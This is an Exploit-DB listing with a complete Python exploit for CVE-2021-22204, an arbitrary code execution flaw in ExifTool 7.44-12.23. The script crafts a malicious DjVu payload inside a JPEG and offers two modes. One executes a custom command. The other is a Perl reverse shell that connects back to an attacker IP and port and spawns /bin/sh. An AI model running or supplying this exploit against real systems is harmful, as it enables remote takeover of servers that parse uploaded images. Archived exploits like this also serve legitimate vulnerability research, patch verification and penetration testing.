ExifTool 12.23 – Arbitrary Code Execution

  • 作者: UNICORD
    日期: 2022-05-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50911/
  • # Exploit Title: ExifTool 12.23 - Arbitrary Code Execution
    # Date: 04/30/2022
    # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
    # Vendor Homepage: https://exiftool.org/
    # Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
    # Version: 7.44-12.23
    # Tested on: ExifTool 12.23 (Debian)
    # CVE: CVE-2021-22204
    # Source: https://github.com/UNICORDev/exploit-CVE-2021-22204
    # Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image
    
    #!/usr/bin/env python3
    
    # Imports
    import base64
    import os
    import subprocess
    import sys
    
    # Class for colors
    class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'
    
    # Print UNICORD ASCII Art
    def UNICORD_ASCII():
    print(rf"""
    {color.red}_ __,~~~{color.gold}/{color.red}_{color.no}{color.blue}__________________________{color.no}
    {color.red},~~`( )_( )-\| {color.blue}/ / / / |/ /_/ ___/ __ \/ _ \/ _ \{color.no}
    {color.red}|/|`--. {color.blue}/ /_/ /// // /__/ /_/ / , _/ // /{color.no}
    {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)
    
    # Print exploit help menu
    def help():
    print(r"""UNICORD Exploit for CVE-2021-22204
    
    Usage:
    python3 exploit-CVE-2021-22204.py -c <command>
    python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
    python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
    python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
    python3 exploit-CVE-2021-22204.py -h
    
    Options:
    -cCustom command mode. Provide command to execute.
    -sReverse shell mode. Provide local IP and port.
    -iPath to custom JPEG image. (Optional)
    -hShow this help menu.
    """)
    
    # Run the exploit
    def exploit(command):
    
    UNICORD_ASCII()
    
    # Create perl payload
    payload = "(metadata \"\c${"
    payload += command
    payload += "};\")"
    
    print(f"{color.red}RUNNING: {color.blue}UNICORD Exploit for CVE-2021-22204{color.no}")
    print(f"{color.red}PAYLOAD: {color.gold}" + payload + f"{color.no}")
    
    # Write payload to file
    payloadFile = open('payload','w')
    payloadFile.write(payload)
    payloadFile.close()
    
    # Bzz compress file
    subprocess.run(['bzz', 'payload', 'payload.bzz'])
    
    # Run djvumake
    subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
    
    if '-i' in sys.argv:
    imagePath = sys.argv[sys.argv.index('-i') + 1]
    subprocess.run(['cp',f'{imagePath}','./image.jpg','-n'])
    
    else:
    # Smallest possible JPEG
    image = b"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k="
    
    # Write smallest possible JPEG image to file
    with open("image.jpg", "wb") as img:
    img.write(base64.decodebytes(image))
    
    # Write exiftool config to file
    config = (r"""
    %Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
    0xc51b => {
    Name => 'HasselbladExif',
    Writable => 'string',
    WriteGroup => 'IFD0',
    },
    },
    );
    1; #end
    """)
    configFile = open('exiftool.config','w')
    configFile.write(config)
    configFile.close()
    
    # Exiftool config for output image
    subprocess.run(['exiftool','-config','exiftool.config','-HasselbladExif<=exploit.djvu','image.jpg','-overwrite_original_in_place','-q'])
    
    # Delete leftover files
    os.remove("payload")
    os.remove("payload.bzz")
    os.remove("exploit.djvu")
    os.remove("exiftool.config")
    
    # Print results
    print(f"{color.red}RUNTIME: {color.green}DONE - Exploit image written to 'image.jpg'{color.no}\n")
    
    exit()
    
    if __name__ == "__main__":
    
    args = ['-h','-c','-s','-i']
    
    if args[0] in sys.argv:
    help()
    
    elif args[1] in sys.argv and not args[2] in sys.argv:
    exec = sys.argv[sys.argv.index(args[1]) + 1]
    command = f"system(\'{exec}\')"
    exploit(command)
    
    elif args[2] in sys.argv and not args[1] in sys.argv:
    localIP = sys.argv[sys.argv.index(args[2]) + 1]
    localPort = sys.argv[sys.argv.index(args[2]) + 2]
    command = f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({localPort},inet_aton('{localIP}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};"
    exploit(command)
    
    else:
    help()